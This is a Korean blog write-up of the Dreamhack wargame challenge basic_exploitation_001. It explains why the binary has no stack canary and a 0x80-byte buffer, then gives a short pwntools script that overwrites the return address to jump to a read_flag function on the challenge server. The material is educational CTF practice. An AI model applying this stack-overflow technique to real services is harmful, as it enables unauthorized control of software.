basic_exploitation_001
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
# 문제 분석
- checksec 확인
- canary가 없어 ret address 조작하여 프로그램의 실행흐름 변조 가능
- 함수 목록 확인
- read_flag를 통해 플래그를 획득할 수 있을 것 같음
- main 함수
- buffer의 크기가 0x80이므로 dummy(0x80) + ebp(0x4) + ret(0x4) 로 페이로드를 구성하면 프로그램의 흐름을 조작할 수 있음을 알 수 있음
# exploit
from pwn import *
p = remote('host3.dreamhack.games', 15951)
e = ELF('./basic_exploitation_001')
payload = b"A"*0x80
payload += b"B"*0x4
payload += p32(e.symbols['read_flag'])
p.sendline(payload)
p.interactive()
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] Return to Shellcode (0) | 2022.09.05 |
---|---|
[Dreamhack] Return Address Overwrite (0) | 2022.09.01 |
[Dreamhack] basic_exploitation_000 (0) | 2022.08.31 |
[Dreamhack] shell_basic (0) | 2022.08.31 |
[Dreamhack] simple_sqli (0) | 2022.03.10 |